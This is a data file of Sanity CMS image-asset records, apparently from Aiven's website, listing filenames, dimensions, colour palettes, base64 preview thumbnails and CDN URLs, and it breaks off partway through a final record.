{"_createdAt":"2024-06-28T13:03:03Z","_id":"image-0690269c91d7b71008cff959120fbbc8bd4ed885-1200x630-jpg","_rev":"eksQ0uttcr8BeSzSscpC07","_type":"sanity.imageAsset","_updatedAt":"2024-06-28T13:03:03Z","assetId":"0690269c91d7b71008cff959120fbbc8bd4ed885","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M74_;%?7xlajM^%jxoozR.Rjs;oIjcWBW9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwAEB//EACAQAAIBAwUBAQAAAAAAAAAAAAECAAMEERITFCExUWH/xAAWAQEBAQAAAAAAAAAAAAAAAAABBAb/xAAaEQACAgMAAAAAAAAAAAAAAAAAAQIRAxIT/9oADAMBAAIRAxEAPwDia3tjwqaUbQb4GGZh0YC1NCFgM/kMMeIg69+QcnW/c1OKWqskkh93USSSDnyUw1CS5yTKPYKP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#663e6b","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":14.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":14.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3ccdb","foreground":"#000","population":2.72,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7fc0","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7195","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2987","foreground":"#fff","population":9.42,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_for_Retail_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/0690269c91d7b71008cff959120fbbc8bd4ed885-1200x630.jpg","sha1hash":"0690269c91d7b71008cff959120fbbc8bd4ed885","size":145044,"uploadId":"bInz5HedY11nKu1PHDILD0kMtRgEJr0s","url":"https://cdn.sanity.io/images/sczeoy4w/production/0690269c91d7b71008cff959120fbbc8bd4ed885-1200x630.jpg"} {"_createdAt":"2023-02-24T09:19:24Z","_id":"image-06c073f3d2ae436a8334964edeeacfd2c54d09bf-1280x720-jpg","_rev":"wQDUBFZXucgcNowEoawXsB","_type":"sanity.imageAsset","_updatedAt":"2023-02-24T09:19:24Z","assetId":"06c073f3d2ae436a8334964edeeacfd2c54d09bf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYQcSR%itRI9-qj@NGi_tRkW.TR4V@xvRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUEBgcI/8QAIBAAAQQCAgMBAAAAAAAAAAAAAQIDBBEABQYSIUFRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/EABkRAAMBAQEAAAAAAAAAAAAAAAECEQADEv/aAAwDAQACEQMRAD8A6DXE2K5qimUW2SfQ9ZVOU8mlxNinXofMdLJsv2Lc8fPmaE2KUr9yLL1MCYrtKhsuqu7UkE3jorNPJm0pUW5fxqbN2GqbkvEWsnqetWn0cMdtoS2hKG0hKEigAKAwwnLyoBJOrdKbBv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#291939","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b2145","foreground":"#fff","population":2.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b2145","foreground":"#fff","population":2.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc0a8","foreground":"#000","population":0.99,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce066","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6484ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97306","foreground":"#fff","population":1.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"webinar-create-data-lineage-across-different-data-technologies-meta-preview.jpg","path":"images/sczeoy4w/production/06c073f3d2ae436a8334964edeeacfd2c54d09bf-1280x720.jpg","sha1hash":"06c073f3d2ae436a8334964edeeacfd2c54d09bf","size":50170,"uploadId":"MLprMBr5zu2rYBwCLfCJ7mdzHeLpieb5","url":"https://cdn.sanity.io/images/sczeoy4w/production/06c073f3d2ae436a8334964edeeacfd2c54d09bf-1280x720.jpg"} {"_createdAt":"2024-08-23T07:07:37Z","_id":"image-06d8ae30ae2a10935d4ddf8266f546552883c12a-24x24-svg","_rev":"Y0UAcXdiCLXOzJ7kWYXGBu","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T07:07:37Z","assetId":"06d8ae30ae2a10935d4ddf8266f546552883c12a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIM.|~fj1Lf712f71LfQ}CfQ1Lf7$hfQ,=fjNcfQ,=fQ12fQxEfQNc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACi0lEQVQ4jY1UPWtVQRSc+BJJTEqbvCJYJRpjGz9AIggKijaihRp9787mqWBtEzBRxNbKKKiVln40moiWfoGI/gGttLW0PSNnd+9HngFz4XD27t2dPXtnzgCbeFQAVuRMDIjYopThc+oBOpsyrJMn2YjQ915uLDAkYlrEYQVMqochXQTUBXQ1gUKdfDrj6RsDdivAbSJOiXiogEULmFHAkH93DOv1AZZhfYC+sFHhfhF3RbwRsSRijwK26koqqARsGdEWMStiTgFzVU7jQ404IeKmiM9GfBNxQ8QuES2VgCowIuK4iAciVhWwmvNaFWxk4p2In0b8EfHBiDPxd5yvAYeNOJivsKKAFc/m43/jvhHPRXwX8VvEq1hMgWGhBnQJjIkYFzGhgIkym0c9t0PEXhHXjfhoxGsRhQq01U0yKgHXSSaSUuYmSYmUIyIei3hqRNcc7EICc3Khaw3AgAH10FLAdhFTItpGDEYRX47rRjMptxUwbwHtuMdltZCi1l2aHFDAuC+Om3xzgVFzsNQZg1kNU/HQdHhVne7ktopVduKHcSM6Ip6JeCLiqHXjNevrlwWUwUYndXKF5qQUkZBOlsUnEctG7ItEZJKcoCZhMTPuG4vERsBU5bCIYyJeZin8EPHCJdIvm0pKWVoilqLkHCMCnqt69LSI90pi/eVjC1jz8Kptvchr8TM2g+twJAG6PAq0VGCnJWF/NeKLiFsiTirklvNct2KdiVknKmJEwOxzSj9/t4tWxFsR90QcEDMpC/8xkKIkxf3sUtKQ+eaAGQtYFPEoWpX/Drcml9UGnllaXg3o1lTa03wcO+ikm6gR0+bd0W/AG3mmH+qA1clukqWRZpvPdl910maev1CoW7fQgvzrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":13.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a0404","foreground":"#fff","population":1.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":13.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943a04","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faac7e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#943a04","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7630b","foreground":"#fff","population":11.63,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-switch-horizontal-01.svg","path":"images/sczeoy4w/production/06d8ae30ae2a10935d4ddf8266f546552883c12a-24x24.svg","sha1hash":"06d8ae30ae2a10935d4ddf8266f546552883c12a","size":259,"uploadId":"46WsHQ8m74cmlfULVN7XRIP56XLjYoxB","url":"https://cdn.sanity.io/images/sczeoy4w/production/06d8ae30ae2a10935d4ddf8266f546552883c12a-24x24.svg"} {"_createdAt":"2022-10-25T14:02:08Z","_id":"image-0e21baec9c80c4fd46a895b61a72df95059b1154-990x295-png","_rev":"VpqI6rTG30oq7pRBY4Qy6X","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:02:08Z","assetId":"0e21baec9c80c4fd46a895b61a72df95059b1154","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBS?DVogtR-;xu~qbIWCM{Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3559322033898304,"height":295,"width":990},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAApElEQVQYlV2P2Q4DIQwD9/9/ds8SJ46zFdBLnSeQGNssD3MPpgTmhbB+SUk5kFRVn/N91/3DcjxgcGYy5UHAPTo24MDMWmsRIb3iXrI532VFMrrKKQOYMgAz65Hsj5k59UV1q0pVZM4G9HYHEBFz8IRMDxoCHlK3lzmgqtz9OI5936/raiPF3X/l7mdG0Pt+fWVJZrZt27qu53m2wfjkP2MCp/wELmRghKEBpL0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#316765","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a5a57","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#828282","foreground":"#fff","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcbd","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b5dcda","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828282","foreground":"#fff","population":0.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#51ada8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0e21baec9c80c4fd46a895b61a72df95059b1154-990x295.png","path":"images/sczeoy4w/production/0e21baec9c80c4fd46a895b61a72df95059b1154-990x295.png","sha1hash":"0e21baec9c80c4fd46a895b61a72df95059b1154","size":13173,"uploadId":"czv9z0STi3mho9F7SvDlHrdu0EYvJzva","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e21baec9c80c4fd46a895b61a72df95059b1154-990x295.png"} {"_createdAt":"2024-04-30T13:21:11Z","_id":"image-06de93116715695a86efa0f05a9778fbfec60e24-1000x1000-jpg","_rev":"4CkiyUyzrvTW3s6mCoSYGL","_type":"sanity.imageAsset","_updatedAt":"2024-04-30T13:21:11Z","assetId":"06de93116715695a86efa0f05a9778fbfec60e24","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKHUFI9Z0LMdxu00-pIU%g-oGGM|~CIAM{4oofn$%Ma$o}f+={M{9a","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFCAb/xAAlEAACAQQBBAEFAAAAAAAAAAABAgMABAURBgcSIUFhExQVIlH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwX/xAAeEQACAgICAwAAAAAAAAAAAAAAAQIDBCETMRQisf/aAAwDAQACEQMRAD8AkPGcDNmszbWRYRCRvLfwVQOfdKocBiBd2l2J5AvcyHz4rD6f3lnb8ih+73+47U0dbNWTNLCuMLXMAlUrsKrFifipWXWRnroVRjV21ty2/hy0bGQ+QND5pXsMlj7o30zfj54VZiyxmM+B6pSeaRm+PEuHRPheEueMNlrm1+tetE4DOdhfkD1WXxeEPmykskkiiTsAdt6G/VKUXIfqaeCts6Lhx1mYIw1tE2lA2UBNKUqwV9n/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b4457","foreground":"#fff","population":1.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052332","foreground":"#fff","population":10.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#052332","foreground":"#fff","population":10.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7e77","foreground":"#fff","population":3.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ac88","foreground":"#000","population":2.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8695e","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae593c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"cr_quote_UK_Arik.jpeg","path":"images/sczeoy4w/production/06de93116715695a86efa0f05a9778fbfec60e24-1000x1000.jpg","sha1hash":"06de93116715695a86efa0f05a9778fbfec60e24","size":184046,"uploadId":"aHrXDZENqgCRICXpT7NDbTOurSwtJuCO","url":"https://cdn.sanity.io/images/sczeoy4w/production/06de93116715695a86efa0f05a9778fbfec60e24-1000x1000.jpg"} {"_createdAt":"2022-06-30T20:09:11Z","_id":"image-0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213-png","_rev":"QRl2cGoCgj0FlAhkRriBNI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:27Z","assetId":"0758e59004e5028e7e9f69f7b3ecfe010a66ed78","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8Rp8-?bt7?bRj~qt7ofayof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.516431924882629,"height":213,"width":962},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAeklEQVQYlW2QyQ7AIAhE+/9/quK+XGmeCbZpeiAwOjzQa86pYwztvWvOWVNK2lrbmlpENMa478hoajxkEdmB13uvF0ACAw1coNdax8R5KeUMoMZTa/0H0vwGog3onNvnNNuW1O8ee0EI4QHatC+QqWQD2pcYEE2wNcAbqrIwh9xOdvYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e6e6e","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e6e6e","foreground":"#fff","population":1.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213.png","path":"images/sczeoy4w/production/0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213.png","sha1hash":"0758e59004e5028e7e9f69f7b3ecfe010a66ed78","size":41486,"uploadId":"WnqxYBaoBgEUi1Z8CQZHKpk7mi8Y5pFv","url":"https://cdn.sanity.io/images/sczeoy4w/production/0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213.png"} {"_createdAt":"2024-03-05T16:05:20Z","_id":"image-0e55467837c6875b536022a3440008c6b81d2a43-3840x2160-jpg","_rev":"0eA6L3dX7aeuXacPmi5uf3","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:05:20Z","assetId":"0e55467837c6875b536022a3440008c6b81d2a43","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIBzhPxBn3VqSPt.RixbngNH}hogpJt6V?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGA//EACIQAAEEAgIBBQAAAAAAAAAAAAECAwQFABEGIRIiMnGh0f/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAHREAAgIBBQAAAAAAAAAAAAAAAQIABBEDEhQyUv/aAAwDAQACEQMRAD8AiYt20tEdi8ny0Qxtz0naknFZNhGgyEyaS6feStwJcafHuTvvLOs47Uy5rqZMJtxKWUgAk9bHzmd1xelZrXnGoDaVpSdEFXX3l+Tp7cFYDXcnIYydlc0jNPKbVCjuePXkCThjtLQ1jtaytyIhSyOySf3DKG4mesAqN6n/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252639","foreground":"#fff","population":6.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#134081","foreground":"#fff","population":3.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#252639","foreground":"#fff","population":6.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c2b4","foreground":"#000","population":2.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79ccfa","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7c64","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f9ee8","foreground":"#fff","population":0.77,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2nd.jpg","path":"images/sczeoy4w/production/0e55467837c6875b536022a3440008c6b81d2a43-3840x2160.jpg","sha1hash":"0e55467837c6875b536022a3440008c6b81d2a43","size":3858720,"uploadId":"YDr6HJbUA0EX9K95wKzogqFAD3Mg4QV3","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e55467837c6875b536022a3440008c6b81d2a43-3840x2160.jpg"} {"_createdAt":"2022-09-08T16:32:27Z","_id":"image-0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936-png","_rev":"CK1sLU2mnwa3vmbYWEef4B","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:27Z","assetId":"0e89684238fd199e2255f5ae3b8ef22e3cfce2e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9SidI8_9EV@of~qofa{fQof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.621794871794872,"height":936,"width":3390},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoElEQVQYlW2Q6w6DMAiFff+n3KxLpVWnlBYK/ljqbmbZlxMSTjgJ0AHAGGBZFkQkopxzSklE7ISqlsJEVAqr6tOptXbgfQA/xXifZ9xWIkJEZjaz/Y2ZMQtzS776o3T+emnqr/E2rMtMqfETVlURqbV+rYMOBudd752bYCTEnDMRich5yMz+h0MIMI4xRtw2lrZbouPmff9IzVga7QEn/wEaoyAxGQNgdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55574f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f1423","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a8987","foreground":"#fff","population":0.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c0be","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c4cc","foreground":"#000","population":0.3,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8987","foreground":"#fff","population":0.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d62845","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936.png","path":"images/sczeoy4w/production/0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936.png","sha1hash":"0e89684238fd199e2255f5ae3b8ef22e3cfce2e5","size":95621,"uploadId":"JVG9yLrxG7LYMfBF50lQEKCADEksT9Kg","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936.png"} {"_createdAt":"2022-11-22T11:40:13Z","_id":"image-0785b64b6bbaf8c47acded3cdd3adb25a9553392-1600x1100-png","_rev":"PJutSls1mvFq6xuKwWfDXF","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:13Z","assetId":"0785b64b6bbaf8c47acded3cdd3adb25a9553392","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":1100,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcElEQVQokXWTWXLjMAxEff+LOiNxp7hgZQqWl3jioFAs/jyiATQv6z1EhIiRBHBNsARcyEt0/Y7L86a6iKQ1SHnkSkdfZ7a++lwTF9kT+hkW0T7QhX7d+u4xFc2Hlmc2rY3GJPmh4Q1unV2AzYFPHIukwqnQ7RQXcXM9pgnAH+E1puYqqUiuGjPvfmyu+wg+0e7hyxTNPlgf4l8wG2xN1qa5akj0bx9fW3cBYuaQyQUMifp8Cb/Dumwe/QGnIrdqeJK5Wv+xSMzchoj8CWsq5BP4hD5RSJSrlGPlQ0OyiZQKzPJRtubKLszNjZAwGXafts0swOZ7zBPpF6y6AB+wnzFTbWpd3LZdDg2ZfJyl4ltlvcdiXn1oLhwLl0OePjmzdmmdEV9OuQDAnBMAxGIhrT6s859Y66sNMxmLCXztOYSw73uMcc551ic2Pw+wV84csBDNCP97e9/36/XqnBtjnNtXtW9AbCrsV5C1827qO/wN3QwyNAqf2b4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":31.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":31.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-simple-monolith.png","path":"images/sczeoy4w/production/0785b64b6bbaf8c47acded3cdd3adb25a9553392-1600x1100.png","sha1hash":"0785b64b6bbaf8c47acded3cdd3adb25a9553392","size":31776,"uploadId":"XlpQ43CskBuOnsFuhYpWEKLmnJHs8lEj","url":"https://cdn.sanity.io/images/sczeoy4w/production/0785b64b6bbaf8c47acded3cdd3adb25a9553392-1600x1100.png"} {"_createdAt":"2023-05-29T07:36:21Z","_id":"image-07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24-svg","_rev":"PafZ7If3abxFAfZNOXz4oX","_type":"sanity.imageAsset","_updatedAt":"2023-05-29T07:36:21Z","assetId":"07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4~IWt}~6-lWDIs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":14.875,"height":24,"width":357},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAKklEQVQImWP4fVii9PdhiaLfhyUKoRjEzvl9WMLp92EJnt+HJRhAmFgAACtrFVJUV5j1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4535","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#845104","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c20f","foreground":"#000","population":4.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bda767","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c869","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#90765e","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c20f","foreground":"#000","population":4.4,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Rating.svg","path":"images/sczeoy4w/production/07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24.svg","sha1hash":"07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a","size":8644,"uploadId":"tzzlKZHpX6tKOlhy75Ify0OVOcPj1gqS","url":"https://cdn.sanity.io/images/sczeoy4w/production/07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24.svg"} {"_createdAt":"2024-03-13T09:13:18Z","_id":"image-07f48c26dd3cc0a48dda148053bff25ea8e401cd-1200x628-png","_rev":"YZDTfZCd9Sx4xq41jhNroL","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T09:13:18Z","assetId":"07f48c26dd3cc0a48dda148053bff25ea8e401cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TN=;*QWm%edr_Nk8a0i|idZ3a1g3adgN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACKUlEQVQokVXQ20vTARjG8d8KxEi6SLPIujBRs9nK1Gku2iqj6KLo7KEMCyHLDpBZZOlwM02dK48lSOekP3Lfb4yfEV28vO/Vh+d5A26WysA+eRqV4ZiMxGS4QYZr5UW9jEZ1rFHGo5KOykSDvDsqKyn5ckm+XZb187KSkMUWA7q3y+MGGUtK9qxkz0g2JdmTkknI1EnNdUrujMwlJZ+STxfke5f87peN3hBePi6zdZvgk2gIZjolc1oySZkszgmZTur8Ocmfk9wpWeiU9auycUc2+uTzRVnrlHxMJioN6NomQ/XyMi6jx2X8hIwXd5uk4zLZoTMpmU